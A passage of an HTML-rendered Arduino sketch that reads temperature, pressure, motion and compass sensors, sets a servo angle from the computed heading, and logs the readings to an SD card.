js-file-line\">compass.<span class=\"pl-c1\">setDataRate<\/span>(HMC5883L_DATARATE_30HZ); <span class=\"pl-c\">\/\/ Set data rate<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L48\" class=\"blob-num js-line-number\" data-line-number=\"48\"><\/td>\n <td id=\"LC48\" class=\"blob-code blob-code-inner js-file-line\">compass.<span class=\"pl-c1\">setSamples<\/span>(HMC5883L_SAMPLES_8); <span class=\"pl-c\">\/\/ Set number of samples averaged<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L49\" class=\"blob-num js-line-number\" data-line-number=\"49\"><\/td>\n <td id=\"LC49\" class=\"blob-code blob-code-inner js-file-line\">compass.<span class=\"pl-c1\">setOffset<\/span>(<span class=\"pl-c1\">0<\/span>, <span class=\"pl-c1\">0<\/span>); <span class=\"pl-c\">\/\/ Set calibration offset. See HMC5883L_calibration.ino<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L50\" class=\"blob-num js-line-number\" data-line-number=\"50\"><\/td>\n <td id=\"LC50\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L51\" class=\"blob-num js-line-number\" data-line-number=\"51\"><\/td>\n <td id=\"LC51\" class=\"blob-code blob-code-inner js-file-line\">myservo.<span class=\"pl-c1\">attach<\/span>(<span class=\"pl-c1\">9<\/span>); <span class=\"pl-c\">\/\/Pin 9 for servo 1 and 2 (share same output angles)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L52\" class=\"blob-num js-line-number\" data-line-number=\"52\"><\/td>\n <td id=\"LC52\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L53\" class=\"blob-num js-line-number\" data-line-number=\"53\"><\/td>\n <td id=\"LC53\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">pinMode<\/span>(<span class=\"pl-c1\">10<\/span>, OUTPUT); <span class=\"pl-c\">\/\/Reserve 10 as an output (SD LIBRAY REQUIREMENT)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L54\" class=\"blob-num js-line-number\" data-line-number=\"54\"><\/td>\n <td id=\"LC54\" class=\"blob-code blob-code-inner js-file-line\">SD.<span class=\"pl-c1\">begin<\/span> (chipSelect); <span class=\"pl-c\">\/\/Initialize the SD card with chipSelect connected to pin 4<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L55\" class=\"blob-num js-line-number\" data-line-number=\"55\"><\/td>\n <td id=\"LC55\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L56\" class=\"blob-num js-line-number\" data-line-number=\"56\"><\/td>\n <td id=\"LC56\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">pinMode<\/span>(<span class=\"pl-c1\">2<\/span>, OUTPUT); <span class=\"pl-c\">\/\/Loop check LED<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L57\" class=\"blob-num js-line-number\" data-line-number=\"57\"><\/td>\n <td id=\"LC57\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L58\" class=\"blob-num js-line-number\" data-line-number=\"58\"><\/td>\n <td id=\"LC58\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L59\" class=\"blob-num js-line-number\" data-line-number=\"59\"><\/td>\n <td id=\"LC59\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">void<\/span> <span class=\"pl-en\">loop<\/span>() {<\/td>\n <\/tr>\n <tr>\n <td id=\"L60\" class=\"blob-num js-line-number\" data-line-number=\"60\"><\/td>\n <td id=\"LC60\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">time<\/span> = <span class=\"pl-c1\">millis<\/span>(); <span class=\"pl-c\">\/\/ find current time since program began<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L61\" class=\"blob-num js-line-number\" data-line-number=\"61\"><\/td>\n <td id=\"LC61\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L62\" class=\"blob-num js-line-number\" data-line-number=\"62\"><\/td>\n <td id=\"LC62\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/Temperature and Pressure<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L63\" class=\"blob-num js-line-number\" data-line-number=\"63\"><\/td>\n <td id=\"LC63\" class=\"blob-code blob-code-inner js-file-line\">tempC = mySensor.<span class=\"pl-c1\">readTemperature<\/span>(); <span class=\"pl-c\">\/\/ Read Temperature<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L64\" class=\"blob-num js-line-number\" data-line-number=\"64\"><\/td>\n <td id=\"LC64\" class=\"blob-code blob-code-inner js-file-line\">tempF = tempC*<span class=\"pl-c1\">1.8<\/span> + <span class=\"pl-c1\">32<\/span>.; <span class=\"pl-c\">\/\/ Convert degrees C to F<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L65\" class=\"blob-num js-line-number\" data-line-number=\"65\"><\/td>\n <td id=\"LC65\" class=\"blob-code blob-code-inner js-file-line\">pressure=mySensor.<span class=\"pl-c1\">readPressure<\/span>(); <span class=\"pl-c\">\/\/Read Pressure<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L66\" class=\"blob-num js-line-number\" data-line-number=\"66\"><\/td>\n <td id=\"LC66\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L67\" class=\"blob-num js-line-number\" data-line-number=\"67\"><\/td>\n <td id=\"LC67\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/Accel and Gyro<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L68\" class=\"blob-num js-line-number\" data-line-number=\"68\"><\/td>\n <td id=\"LC68\" class=\"blob-code blob-code-inner js-file-line\">accelgyro.<span class=\"pl-c1\">getMotion6<\/span>(&ax, &ay, &az, &gx, &gy, &gz); <span class=\"pl-c\">\/\/read accel\/gyro data<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L69\" class=\"blob-num js-line-number\" data-line-number=\"69\"><\/td>\n <td id=\"LC69\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L70\" class=\"blob-num js-line-number\" data-line-number=\"70\"><\/td>\n <td id=\"LC70\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/Compass<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L71\" class=\"blob-num js-line-number\" data-line-number=\"71\"><\/td>\n <td id=\"LC71\" class=\"blob-code blob-code-inner js-file-line\">Vector norm = compass.<span class=\"pl-c1\">readNormalize<\/span>();<\/td>\n <\/tr>\n <tr>\n <td id=\"L72\" class=\"blob-num js-line-number\" data-line-number=\"72\"><\/td>\n <td id=\"LC72\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> heading = <span class=\"pl-c1\">atan2<\/span>(norm.<span class=\"pl-smi\">YAxis<\/span>, norm.<span class=\"pl-smi\">XAxis<\/span>); <span class=\"pl-c\">\/\/ Calculate heading<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L73\" class=\"blob-num js-line-number\" data-line-number=\"73\"><\/td>\n <td id=\"LC73\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ Set declination angle on your location and fix heading<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L74\" class=\"blob-num js-line-number\" data-line-number=\"74\"><\/td>\n <td id=\"LC74\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ You can find your declination on: http:\/\/magnetic-declination.com\/<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L75\" class=\"blob-num js-line-number\" data-line-number=\"75\"><\/td>\n <td id=\"LC75\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ (+) Positive or (-) for negative<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L76\" class=\"blob-num js-line-number\" data-line-number=\"76\"><\/td>\n <td id=\"LC76\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ For Bytom \/ Poland declination angle is 4'26E (positive)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L77\" class=\"blob-num js-line-number\" data-line-number=\"77\"><\/td>\n <td id=\"LC77\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ Formula: (deg + (min \/ 60.0)) \/ (180 \/ M_PI);<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L78\" class=\"blob-num js-line-number\" data-line-number=\"78\"><\/td>\n <td id=\"LC78\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> declinationAngle = (<span class=\"pl-c1\">4.0<\/span> + (<span class=\"pl-c1\">26.0<\/span> \/ <span class=\"pl-c1\">60.0<\/span>)) \/ (<span class=\"pl-c1\">180<\/span> \/ M_PI);<\/td>\n <\/tr>\n <tr>\n <td id=\"L79\" class=\"blob-num js-line-number\" data-line-number=\"79\"><\/td>\n <td id=\"LC79\" class=\"blob-code blob-code-inner js-file-line\">heading += declinationAngle; <\/td>\n <\/tr>\n <tr>\n <td id=\"L80\" class=\"blob-num js-line-number\" data-line-number=\"80\"><\/td>\n <td id=\"LC80\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">if<\/span> (heading < <span class=\"pl-c1\">0<\/span>) <span class=\"pl-c\">\/\/ Correct for heading < 0deg and heading > 360deg<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L81\" class=\"blob-num js-line-number\" data-line-number=\"81\"><\/td>\n <td id=\"LC81\" class=\"blob-code blob-code-inner js-file-line\">{<\/td>\n <\/tr>\n <tr>\n <td id=\"L82\" class=\"blob-num js-line-number\" data-line-number=\"82\"><\/td>\n <td id=\"LC82\" class=\"blob-code blob-code-inner js-file-line\">heading += <span class=\"pl-c1\">2<\/span> * PI;<\/td>\n <\/tr>\n <tr>\n <td id=\"L83\" class=\"blob-num js-line-number\" data-line-number=\"83\"><\/td>\n <td id=\"LC83\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L84\" class=\"blob-num js-line-number\" data-line-number=\"84\"><\/td>\n <td id=\"LC84\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">if<\/span> (heading > <span class=\"pl-c1\">2<\/span> * PI)<\/td>\n <\/tr>\n <tr>\n <td id=\"L85\" class=\"blob-num js-line-number\" data-line-number=\"85\"><\/td>\n <td id=\"LC85\" class=\"blob-code blob-code-inner js-file-line\">{<\/td>\n <\/tr>\n <tr>\n <td id=\"L86\" class=\"blob-num js-line-number\" data-line-number=\"86\"><\/td>\n <td id=\"LC86\" class=\"blob-code blob-code-inner js-file-line\">heading -= <span class=\"pl-c1\">2<\/span> * PI;<\/td>\n <\/tr>\n <tr>\n <td id=\"L87\" class=\"blob-num js-line-number\" data-line-number=\"87\"><\/td>\n <td id=\"LC87\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L88\" class=\"blob-num js-line-number\" data-line-number=\"88\"><\/td>\n <td id=\"LC88\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> headingDegrees = heading * <span class=\"pl-c1\">180<\/span>\/M_PI; <span class=\"pl-c\">\/\/ Convert to degrees<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L89\" class=\"blob-num js-line-number\" data-line-number=\"89\"><\/td>\n <td id=\"LC89\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L90\" class=\"blob-num js-line-number\" data-line-number=\"90\"><\/td>\n <td id=\"LC90\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ Servo<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L91\" class=\"blob-num js-line-number\" data-line-number=\"91\"><\/td>\n <td id=\"LC91\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> a = <span class=\"pl-c1\">60<\/span>; <span class=\"pl-c\">\/\/max angle of attack<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L92\" class=\"blob-num js-line-number\" data-line-number=\"92\"><\/td>\n <td id=\"LC92\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> d = <span class=\"pl-c1\">90<\/span>;<\/td>\n <\/tr>\n <tr>\n <td id=\"L93\" class=\"blob-num js-line-number\" data-line-number=\"93\"><\/td>\n <td id=\"LC93\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> x = headingDegrees; <span class=\"pl-c\">\/\/floored headingDegrees<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L94\" class=\"blob-num js-line-number\" data-line-number=\"94\"><\/td>\n <td id=\"LC94\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/float b = x % 180; \/\/new range of repeated values from 0 to 179. (alpha(theta=0) = aplha(theta=180))<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L95\" class=\"blob-num js-line-number\" data-line-number=\"95\"><\/td>\n <td id=\"LC95\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> b = x; <span class=\"pl-c\">\/\/adjusted heading<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L96\" class=\"blob-num js-line-number\" data-line-number=\"96\"><\/td>\n <td id=\"LC96\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">if<\/span> (x > <span class=\"pl-c1\">180<\/span> && x <= <span class=\"pl-c1\">360<\/span>){<\/td>\n <\/tr>\n <tr>\n <td id=\"L97\" class=\"blob-num js-line-number\" data-line-number=\"97\"><\/td>\n <td id=\"LC97\" class=\"blob-code blob-code-inner js-file-line\"> b = x - <span class=\"pl-c1\">180<\/span>;<\/td>\n <\/tr>\n <tr>\n <td id=\"L98\" class=\"blob-num js-line-number\" data-line-number=\"98\"><\/td>\n <td id=\"LC98\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L99\" class=\"blob-num js-line-number\" data-line-number=\"99\"><\/td>\n <td id=\"LC99\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> c; <span class=\"pl-c\">\/\/output angle of attack<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L100\" class=\"blob-num js-line-number\" data-line-number=\"100\"><\/td>\n <td id=\"LC100\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">if<\/span> (b >= <span class=\"pl-c1\">15<\/span> && b <= <span class=\"pl-c1\">90<\/span>){<\/td>\n <\/tr>\n <tr>\n <td id=\"L101\" class=\"blob-num js-line-number\" data-line-number=\"101\"><\/td>\n <td id=\"LC101\" class=\"blob-code blob-code-inner js-file-line\"> c = -a*<span class=\"pl-c1\">sin<\/span>((PI\/<span class=\"pl-c1\">150<\/span>)*x-PI\/<span class=\"pl-c1\">10<\/span>) + d;<\/td>\n <\/tr>\n <tr>\n <td id=\"L102\" class=\"blob-num js-line-number\" data-line-number=\"102\"><\/td>\n <td id=\"LC102\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L103\" class=\"blob-num js-line-number\" data-line-number=\"103\"><\/td>\n <td id=\"LC103\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">else<\/span> <span class=\"pl-k\">if<\/span> (b > <span class=\"pl-c1\">90<\/span> && b <= <span class=\"pl-c1\">165<\/span>){<\/td>\n <\/tr>\n <tr>\n <td id=\"L104\" class=\"blob-num js-line-number\" data-line-number=\"104\"><\/td>\n <td id=\"LC104\" class=\"blob-code blob-code-inner js-file-line\"> c = a*<span class=\"pl-c1\">cos<\/span>((PI\/<span class=\"pl-c1\">150<\/span>)*x-<span class=\"pl-c1\">3<\/span>*PI\/<span class=\"pl-c1\">5<\/span>) + d;<\/td>\n <\/tr>\n <tr>\n <td id=\"L105\" class=\"blob-num js-line-number\" data-line-number=\"105\"><\/td>\n <td id=\"LC105\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L106\" class=\"blob-num js-line-number\" data-line-number=\"106\"><\/td>\n <td id=\"LC106\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/else if (b >= 95 && b <= 130){<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L107\" class=\"blob-num js-line-number\" data-line-number=\"107\"><\/td>\n <td id=\"LC107\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ c = a*sin((PI\/70)*x-19*PI\/14) + d; <\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L108\" class=\"blob-num js-line-number\" data-line-number=\"108\"><\/td>\n <td id=\"LC108\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/}<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L109\" class=\"blob-num js-line-number\" data-line-number=\"109\"><\/td>\n <td id=\"LC109\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/else if (b >= 140 && b <= 175){<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L110\" class=\"blob-num js-line-number\" data-line-number=\"110\"><\/td>\n <td id=\"LC110\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/ c = -a*cos((PI\/70)*x) + d;<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L111\" class=\"blob-num js-line-number\" data-line-number=\"111\"><\/td>\n <td id=\"LC111\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/}<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L112\" class=\"blob-num js-line-number\" data-line-number=\"112\"><\/td>\n <td id=\"LC112\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">else<\/span>{<\/td>\n <\/tr>\n <tr>\n <td id=\"L113\" class=\"blob-num js-line-number\" data-line-number=\"113\"><\/td>\n <td id=\"LC113\" class=\"blob-code blob-code-inner js-file-line\">c = d;<\/td>\n <\/tr>\n <tr>\n <td id=\"L114\" class=\"blob-num js-line-number\" data-line-number=\"114\"><\/td>\n <td id=\"LC114\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L115\" class=\"blob-num js-line-number\" data-line-number=\"115\"><\/td>\n <td id=\"LC115\" class=\"blob-code blob-code-inner js-file-line\">myservo.<span class=\"pl-c1\">write<\/span>(c); <span class=\"pl-c\">\/\/write to servo 1 and 2<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L116\" class=\"blob-num js-line-number\" data-line-number=\"116\"><\/td>\n <td id=\"LC116\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L117\" class=\"blob-num js-line-number\" data-line-number=\"117\"><\/td>\n <td id=\"LC117\" class=\"blob-code blob-code-inner js-file-line\">mySensorData= SD.<span class=\"pl-c1\">open<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>Data2.txt<span class=\"pl-pds\">"<\/span><\/span>, FILE_WRITE); <span class=\"pl-c\">\/\/Open PTData.txt on the SD card as a file to write.<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L118\" class=\"blob-num js-line-number\" data-line-number=\"118\"><\/td>\n <td id=\"LC118\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L119\" class=\"blob-num js-line-number\" data-line-number=\"119\"><\/td>\n <td id=\"LC119\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">if<\/span> (mySensorData) { <span class=\"pl-c\">\/\/Only do these things if data file opened successfully<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L120\" class=\"blob-num js-line-number\" data-line-number=\"120\"><\/td>\n <td id=\"LC120\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/*<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L121\" class=\"blob-num js-line-number\" data-line-number=\"121\"><\/td>\n <td id=\"LC121\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print("The Temp is: "); \/\/Print Your results of BMP180 data (Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L122\" class=\"blob-num js-line-number\" data-line-number=\"122\"><\/td>\n <td id=\"LC122\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(tempF); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L123\" class=\"blob-num js-line-number\" data-line-number=\"123\"><\/td>\n <td id=\"LC123\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(" degrees F"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L124\" class=\"blob-num js-line-number\" data-line-number=\"124\"><\/td>\n <td id=\"LC124\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print("The Pressure is: "); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L125\" class=\"blob-num js-line-number\" data-line-number=\"125\"><\/td>\n <td id=\"LC125\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(pressure); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L126\" class=\"blob-num js-line-number\" data-line-number=\"126\"><\/td>\n <td id=\"LC126\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(" Pa."); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L127\" class=\"blob-num js-line-number\" data-line-number=\"127\"><\/td>\n <td id=\"LC127\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(""); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L128\" class=\"blob-num js-line-number\" data-line-number=\"128\"><\/td>\n <td id=\"LC128\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\"><\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L129\" class=\"blob-num js-line-number\" data-line-number=\"129\"><\/td>\n <td id=\"LC129\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print("a\/g:\\t"); \/\/Print results of MPU6050 data (Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L130\" class=\"blob-num js-line-number\" data-line-number=\"130\"><\/td>\n <td id=\"LC130\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(ax); Serial.print("\\t"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L131\" class=\"blob-num js-line-number\" data-line-number=\"131\"><\/td>\n <td id=\"LC131\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(ay); Serial.print("\\t"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L132\" class=\"blob-num js-line-number\" data-line-number=\"132\"><\/td>\n <td id=\"LC132\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(az); Serial.print("\\t"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L133\" class=\"blob-num js-line-number\" data-line-number=\"133\"><\/td>\n <td id=\"LC133\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(gx); Serial.print("\\t"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L134\" class=\"blob-num js-line-number\" data-line-number=\"134\"><\/td>\n <td id=\"LC134\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(gy); Serial.print("\\t"); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L135\" class=\"blob-num js-line-number\" data-line-number=\"135\"><\/td>\n <td id=\"LC135\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(gz); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L136\" class=\"blob-num js-line-number\" data-line-number=\"136\"><\/td>\n <td id=\"LC136\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(""); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L137\" class=\"blob-num js-line-number\" data-line-number=\"137\"><\/td>\n <td id=\"LC137\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\"><\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L138\" class=\"blob-num js-line-number\" data-line-number=\"138\"><\/td>\n <td id=\"LC138\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(" Heading = "); \/\/Print results of HMC5883L data (Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L139\" class=\"blob-num js-line-number\" data-line-number=\"139\"><\/td>\n <td id=\"LC139\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(heading); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L140\" class=\"blob-num js-line-number\" data-line-number=\"140\"><\/td>\n <td id=\"LC140\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(" Degress = "); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L141\" class=\"blob-num js-line-number\" data-line-number=\"141\"><\/td>\n <td id=\"LC141\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.print(headingDegrees); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L142\" class=\"blob-num js-line-number\" data-line-number=\"142\"><\/td>\n <td id=\"LC142\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">Serial.println(""); \/\/(Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L143\" class=\"blob-num js-line-number\" data-line-number=\"143\"><\/td>\n <td id=\"LC143\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">*\/<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L144\" class=\"blob-num js-line-number\" data-line-number=\"144\"><\/td>\n <td id=\"LC144\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L145\" class=\"blob-num js-line-number\" data-line-number=\"145\"><\/td>\n <td id=\"LC145\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">digitalWrite<\/span>(<span class=\"pl-c1\">2<\/span>, HIGH); <span class=\"pl-c\">\/\/Loop check LED on<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L146\" class=\"blob-num js-line-number\" data-line-number=\"146\"><\/td>\n <td id=\"LC146\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">delay<\/span>(<span class=\"pl-c1\">100<\/span>); <span class=\"pl-c\">\/\/Pause between readings.<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L147\" class=\"blob-num js-line-number\" data-line-number=\"147\"><\/td>\n <td id=\"LC147\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">digitalWrite<\/span>(<span class=\"pl-c1\">2<\/span>, LOW); <span class=\"pl-c\">\/\/Loop check LED off<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L148\" class=\"blob-num js-line-number\" data-line-number=\"148\"><\/td>\n <td id=\"LC148\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L149\" class=\"blob-num js-line-number\" data-line-number=\"149\"><\/td>\n <td id=\"LC149\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-c1\">time<\/span>); <span class=\"pl-c\">\/\/Write tempF to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L150\" class=\"blob-num js-line-number\" data-line-number=\"150\"><\/td>\n <td id=\"LC150\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L151\" class=\"blob-num js-line-number\" data-line-number=\"151\"><\/td>\n <td id=\"LC151\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(tempF); <span class=\"pl-c\">\/\/Write tempF to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L152\" class=\"blob-num js-line-number\" data-line-number=\"152\"><\/td>\n <td id=\"LC152\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L153\" class=\"blob-num js-line-number\" data-line-number=\"153\"><\/td>\n <td id=\"LC153\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(pressure); <span 